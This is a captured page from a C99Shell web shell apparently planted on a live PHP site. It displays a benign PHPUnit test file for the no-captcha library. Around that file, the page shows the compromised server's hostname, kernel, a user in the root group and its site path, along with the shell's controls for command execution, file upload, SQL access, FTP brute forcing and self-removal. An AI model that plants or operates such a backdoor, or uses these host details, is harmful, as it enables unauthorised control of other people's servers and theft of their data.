!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/anhskohbo/no-captcha/tests/   drwxr-xr-x
Free 26.49 GB of 117.98 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NoCaptchaTest.php (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Anhskohbo\NoCaptcha\NoCaptcha;

class 
NoCaptchaTest extends PHPUnit_Framework_TestCase
{
    
/**
     * @var NoCaptcha
     */
    
private $captcha;

    public function 
setUp()
    {
        
parent::setUp();
        
$this->captcha = new NoCaptcha('{secret-key}''{site-key}');
    }

    public function 
testRequestShouldWorks()
    {
        
$response $this->captcha->verifyResponse('should_false');
    }

    public function 
testJsLink()
    {
        
$this->assertTrue($this->captcha instanceof NoCaptcha);

        
$simple '<script src="https://www.google.com/recaptcha/api.js?" async defer></script>'."\n";
        
$withLang '<script src="https://www.google.com/recaptcha/api.js?hl=vi" async defer></script>'."\n";
        
$withCallback '<script src="https://www.google.com/recaptcha/api.js?render=explicit&onload=myOnloadCallback" async defer></script>'."\n";

        
$this->assertEquals($simple$this->captcha->renderJs());
        
$this->assertEquals($withLang$this->captcha->renderJs('vi'));
        
$this->assertEquals($withCallback$this->captcha->renderJs(nulltrue'myOnloadCallback'));
    }

    public function 
testDisplay()
    {
        
$this->assertTrue($this->captcha instanceof NoCaptcha);

        
$simple '<div data-sitekey="{site-key}" class="g-recaptcha"></div>';
        
$withAttrs '<div data-theme="light" data-sitekey="{site-key}" class="g-recaptcha"></div>';

        
$this->assertEquals($simple$this->captcha->display());
        
$this->assertEquals($withAttrs$this->captcha->display(['data-theme' => 'light']));
    }

    public function 
testdisplaySubmit()
    {
        
$this->assertTrue($this->captcha instanceof NoCaptcha);

        
$javascript '<script>function onSubmittest(){document.getElementById("test").submit();}</script>';
        
$simple '<button data-callback="onSubmittest" data-sitekey="{site-key}" class="g-recaptcha"><span>submit</span></button>';
        
$withAttrs '<button data-theme="light" class="g-recaptcha 123" data-callback="onSubmittest" data-sitekey="{site-key}"><span>submit123</span></button>';

        
$this->assertEquals($simple $javascript$this->captcha->displaySubmit('test'));
        
$withAttrsResult $this->captcha->displaySubmit('test','submit123',['data-theme' => 'light''class' => '123']);
        
$this->assertEquals($withAttrs $javascript$withAttrsResult);
    }

    public function 
testdisplaySubmitWithCustomCallback()
    {
        
$this->assertTrue($this->captcha instanceof NoCaptcha);

        
$withAttrs '<button data-theme="light" class="g-recaptcha 123" data-callback="onSubmitCustomCallback" data-sitekey="{site-key}"><span>submit123</span></button>';

        
$withAttrsResult $this->captcha->displaySubmit('test-custom','submit123',['data-theme' => 'light''class' => '123''data-callback' => 'onSubmitCustomCallback']);
        
$this->assertEquals($withAttrs$withAttrsResult);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--